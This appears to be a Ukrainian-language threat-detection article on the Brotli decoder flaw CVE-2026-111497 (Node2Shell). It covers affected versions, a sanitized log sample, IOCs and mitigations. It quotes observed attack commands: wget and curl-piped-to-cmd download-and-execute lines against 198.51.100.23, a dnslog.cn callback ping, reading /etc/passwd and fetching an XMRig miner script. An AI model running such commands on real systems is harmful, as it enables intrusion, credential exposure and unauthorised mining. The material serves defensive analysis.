Виявлення Node2Shell/HTTP2Shell складніше, ніж здається, тому що вразливість не обмежується одним продуктом. Node2Shell, також відомий як HTTP2Shell, це CVE-2026-111497: позамежний запис в декодері Brotli від Google, версії з 1.0.3 до 1.2.0, що отримав оцінку CVSS 4.0 9.2. Оскільки дефект знаходиться в спільній бібліотеці стиснення, він досягає Node.js, пакетів Brotli для Python, Bun, curl, Envoy та іншого програмного забезпечення, яке декодує Brotli.
Ця стаття охоплює виявлення Node2Shell/HTTP2Shell, використовуючи зразок журналу, проаналізований в LogTotal, інструменті аналізу журналів, який зіставляє події з відомими загрозами. Нижче ми описуємо контекст вразливості, джерело журналу, що повідомив LogTotal, та як реагувати.
Аналіз Node2Shell (HTTP2Shell)
Уразливий код знаходиться в версіях декодера Brotli C з 1.0.3 до 1.2.0. Google як авторитет у цій області оцінив його в 9.2 відповідно до CVSS 4.0, тоді як Node.js оцінює його як високий. Щоб правильно прочитати зразок журналу, корисно знати, як викликається баг, як відбувалося розкриття та які версії програмного забезпечення та конфігурації піддаються небезпеці.
Деталі вразливості для Node2Shell
Потік Brotli, який оголосив про один тип блоку, а потім переключився на інший, не був відхилений, тому декодування продовжувалося в недійсному стані і переписало буфер. Будь-який процес, який розкодовує дані Brotli, підконтрольні атакуючому, може постраждати в двох напрямках:
- Вхідний: сформований HTTP-запит тіла Brotli, надісланий на сервер, який його розкодить.
- Вихідний: сформована відповідь, повернута клієнту, який її отримує.
Баг має кілька назв. Спочатку з’явилася Node2Shell, оскільки Node.js розкрив і виправив це першим. HTTP2Shell відображає, що це досягає будь-якого стека, який декодує Brotli через HTTP, а деякі покриття також використовують назви Python2Shell і Broccoli2Shell.
Часова шкала розкриття та експлуатації
| Дата (2026) | Подія |
| 27 жовтня | CISA додала CVE до свого каталогу KEV; федеральні агенції США мають виправитися до 10 листопада |
| 26 жовтня | Експлуатація в цьому зразку записана на app-node-01 |
| 25 жовтня | Microsoft випустила позапланові виправлення для .NET |
| 22 жовтня | CVE опубліковано; публічно демонстровано виконання коду на Node.js 24.22.0; випущено Bun 1.4.4 |
| 21 жовтня | Node.js поширення та виправлені випуски; випущено Brotli 1.0.10, 1.1.1 і 1.2.1 |
| 27 лютого | Виправлення було затверджено у google/brotli без випуску або рекомендації |
Сам баг було розповсюджено в Brotli 1.0.3 у березні 2018 року. Хай Чан і Сільві Майєр з OpenAI Codex Security повідомили про це в Node.js. Існує публічне доказ концепції, Imperva та ELLIO відтворили виконання коду на офіційних збірках Node.js, і вже використовуються сканери, які відображають, які хости декодують Brotli. Виконання коду не було показано для пакетів Python, хоча вони втрачають працездатність від зловмисних входів, як показано на crash в _brotli.cpython-311 на web-prod-01 у цьому зразку.
Вразливі версії та виправлення Node2Shell
| Компонент | Виправлено в |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x та інші лінії на завершенні терміну служби | Немає виправлення; перейти на підтримувану лінію |
| Bun | 1.4.4 |
| Бібліотека Google Brotli | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Вразлива версія піддається лише, якщо дані атаку можуть дістатися до декодера. У Node.js цей шлях існує через Express 5, body-parser 2.x, парсери тіла Koa, @fastify/compress з розкодбюванням запитів, fetch() і прямі виклики node:zlib Brotli. У Python бібліотеки requests, httpx, aiohttp, і Scrapy використовують пакети brotli або brotlicffi, коли вони встановлені. У .NET Brotli-розкодбування вимкнено за замовчуванням, і Envoy та Istio піддаються лише з ввімкненим Brotli-розкодбуванням. curl декодує Brotli тільки з –compressed через системну libbrotli, тому йому потрібен оновлений дистрибуційний пакет; Debian і Red Hat випустили виправлені.
Джерело журналу та збір
| Атрибут | Значення |
| Файл | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Події | 11 |
| Часове вікно | 26 жовтня 2026 року, з 11:30:55 до 11:33:05 UTC |
| Схема | ECS-стиль |
| Джерела | 4 текстові повідомлення ядра Linux і systemd-coredump; 7 подій створення процесів Microsoft Defender для кінцевої точки |
Хости в зразку
Три хости з’являються у сирих даних на двох операційних системах. Кожен показує різну частину експозиції Node2Shell.
| Хост | OS | Час роботи | Активність у журналах |
| app-node-01 | Linux | Додаток Node.js /opt/app/server.js | Збиток Brotli, потім команди після експлуатації |
| web-prod-01 | Linux | Процес Python | Збиток в _brotli.cpython-311 |
| win-dev-01 | Windows | Додаток Node.js C:Usersdevuserappserver.js | Завантаження і виконання, прихований PowerShell |
Виявлення Node2Shell (HTTP2Shell)
LogTotal обробило 11 ліній за 5.3 секунди і зіставило 23 правила з 10 лініями. Воно сформувало 2 ланцюги, повідомило 1 і відфільтрувало 1 на етапі перевірки AI.
| Поле вироку | Результат |
| Вирок | Підозріло, потребує розслідування |
| Серйозність | Висока |
| Довіра | Середня |
Повідомлений ланцюг є Node2Shell / HTTP2Shell – це критична вразливість (CVE-2026-111497): Висока, 100% відповідність, 2 правила активовані. Він знаходиться на псевдонімізованому хості між 11:30 та 11:31 UTC, і це вікно та докази відповідають app-node-01.
Експлуатація: збій декодера Brotli
Правило “Можлива спроба експлуатації CVE-2026-111497 (HTTP2Shell / Node2Shell) – Збій нативного декодера Brotli” відповідало сегментуванню вузла в libbrotlidec.so.1.1.0. Стек аварійного дампа очолює BrotliDecoderDecompressStream.
Звіт пов’язує цей збій з відмовою в обслуговуванні (T1499.004), звідки і походить етап Вплив. Останнє потрапляння правила, о 11:33, припадає на збій python3 в _brotli.cpython-311 на web-prod-01, що показує ту саму бібліотеку, яка зазнала невдачі у другому середовищі виконання.
Післяексплуатація на Linux
“Підозрілі дочірні процеси NodeJS [Linux]” було активовано 4 рази, коли вузол /opt/app/server.js породив:
- curl, що отримує загальнодоступний сценарій налаштування майнера C3Pool XMRig
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, перевірка зворотного з’єднання
- cat /etc/passwd
Післяексплуатація на Windows поза ланцюгом
Windows-частина зразка знаходиться поза повідомленим ланцюгом, але заслуговує на ту ж увагу. На win-dev-01 вузол.exe породив cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, шаблон завантаження та виконання, а потім прихований powershell.exe, який запускає whoami.
Правила, які спрацювали на цю активність, включають Підозрілі дочірні процеси NodeJS [Windows], Читання вмісту зі Stdin через Cmd.EXE та Підозрілі командлети Powershell. Відфільтрований ланцюг, Meet AvisLoader: Загрузочник для Windows, створений, щоб вижити після відключення (Висока), був зумовлений виконаннями curl.
Node2Shell IOCs з цього зразка
| Індикатор | Тип | Контекст |
| 198.51.100.23 | IP | Хост для завантаження s.sh (порт 3000) та /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Сценарій, завантажений wget на app-node-01 |
| https://198.51.100.23/api/w | URL | Передано на cmd на win-dev-01 |
| 5axzi7.dnslog.cn | Домен | Зворотний виклик через ping |
| Сценарій налаштування майнера C3Pool XMRig | Завантаження | Завантажено curl з вузла |
| libbrotlidec.so.1.1.0 з BrotliDecoderDecompressStream на стеці | Сигнатура збою | Спроба експлуатації Node.js |
| _brotli.cpython-311 збій | Сигнатура збою | Спроба експлуатації Python |
| вузол / вузол.exe, що породжує curl, wget, ping, cat, cmd.exe, powershell.exe | Родовід процесу | Післяексплуатація |
Використання висновків LogTotal у триажі Node2Shell
Почніть з повідомленого ланцюга, щоб підтвердити експлуатацію на app-node-01, потім перевірте кожен висновок поза ланцюгом. У цьому зразку правила поза ланцюгом та відфільтрований ланцюг вказують на два додаткові уражені хости, web-prod-01 і win-dev-01.
Node2Shell (HTTP2Shell) Пом’якшення
Виправлення Node.js само по собі не усуває Node2Shell, тому що дефект знаходиться в спільному декодері Brotli. Кожне середовище виконання або проксі, яке декодує Brotli, потребує оновлення, і кожен хост у зразку повинен бути в рамках.
Виправити кожного споживача Brotli
- Знайдіть служби на Node.js нижче 22.23.4, 24.22.1 або 26.12.1, на лінії Node.js з завершеним терміном служби або на Bun нижче 1.4.4, включаючи базові зображення та хости збірки.
- З першого чергово патчуйте служби, які декодують тіла запитів (Express 5, body-parser 2.x, парсери тіла Koa, @fastify/compress), отримують URL-адреси, надані користувачами, або передають ненадійні дані до функцій Brotli від node:zlib.
- Оновіть середовище виконання, потім перезавантажте процеси та перебудуйте образи контейнерів, включаючи самостійнопротоколи .NET та двійкові файли, побудовані за допомогою bun build –compile.
- Оновіть PyPI brotli до 1.2.1 та brotlicffi до 1.2.1.0, і оновіть середовище виконання .NET, Envoy, Istio та пакети brotli дистрибуцій.
- Перейдіть від Node.js 20 та інших ліній на завершенні терміну служби, які не отримають виправлень.
- До того, як виправлення будуть надіслані, відхиляйте Content-Encoding: br на WAF або проксі, зіставляючи його незалежно від регістру та всередині списків, таких як “gzip, br”. Це не покриває відповідей Brotli, які отримуються через fetch().
Рекомендована реакція LogTotal
- Ізолюйте хост.
- Зберіть дані про процеси, системні і мережеві активності за період з 11:30 до 11:33 UTC.
- Перевірте рівень патчів Node.js: 22.23.4, 24.22.1, або 26.12.1.
- Видаліть неавторизовані двійкові файли.
- Відхиляйте ненадійний Content-Encoding: br на WAF.
- Запускайте Node.js без привілеїв.
- Вимкніть автоматичне декодування Brotli, якщо можливо.
Додаткові кроки із сирих доказів
- Розширити рамки на win-dev-01 та web-prod-01, а не тільки на app-node-01.
- Блок на виході 198.51.100.23 і *.dnslog.cn.
- Перевірити на наявність майнера: записи cron, одиниці systemd і запущений процес xmrig.
- Припустіть, що /etc/passwd було прочитано і перегляньте облікові записи відповідним чином.
- Полюйте на запускаючих вузли, node.exe, або python3 оболонки, завантажувачі або мережеві інструменти.
Поточне моніторування Node2Shell
Пересилайте повідомлення ядра та systemd-coredump разом з подіями процесів EDR. У цьому зразку стек аварійного дампа був єдиним прямим доказом експлуатації, а події EDR вміщували все, що було далі.
FAQ
Що таке Node2Shell (HTTP2Shell) і як він працює?
Node2Shell, також відомий як HTTP2Shell, це CVE-2026-111497: позамежний запис в декодері Brotli від Google, версії від 1.0.3 до 1.2.0, що отримав оцінку CVSS 4.0 9.2. Створені дані Brotli можуть спричинити збій будь-якого процесу, який їх декодує, і в Node.js це показано як можливість виконання віддаленого коду. Розділ аналізу вище пояснює, як це працює.
Коли вперше було виявлено Node2Shell?
Хай Чан і Сільві Майєр з OpenAI Codex Security виявили баг і повідомили про це в Node.js. Він походить з Brotli 1.0.3 у березні 2018 року. Виправлення було обов’язано upstream 27 лютого 2026 року без випуску, і Node.js розкрив дефект 21 жовтня 2026 року.
Який вплив Node2Shell на системи?
Сам збій є відмовою в обслуговуванні, а подальша діяльність показує виконання коду в контексті вразливого процесу. У цьому зразку це означало завантаження сценарію налаштування криптомайнера, отримання корисного навантаження, зворотний виклик DNS, читання /etc/passwd, і завантаження та виконання на хості під Windows.
Чи може Node2Shell все ще вплинути на мене у 2026 році?
Так. CVE-2026-111497 експлуатується в дикій природі і занесено в каталог KEV CISA. Невиправлені розгортання Node.js, Bun, Python, .NET і проксі залишаються під впливом, а Node.js 20 та інші лінії на завершенні терміну служби ніколи не отримають виправлення.
Як я можу захистити себе від Node2Shell?
Виправте Node.js та будь-якого іншого споживача Brotli, перезапустіть процеси та перебудуйте образи. До тих пір відхиляйте Content-Encoding: br на WAF або проксі та відключайтесь автоматичного декодування Brotli, де це можливо. Розділі пом’якшення вказані повні кроки.
Як я можу виявити Node2Shell?
Збирайте журнали ядра та systemd-coredump плюс події процесів EDR з кожного вузла Node.js і Python. Оповіщайте про збої декодера Brotli та на середовища виконання, що запускають оболонки або завантажувачі. LogTotal зіставляє ці події з ланцюгом Node2Shell, але також перегляньте висновки поза ланцюгом, оскільки вони виявили тут два додаткових хости.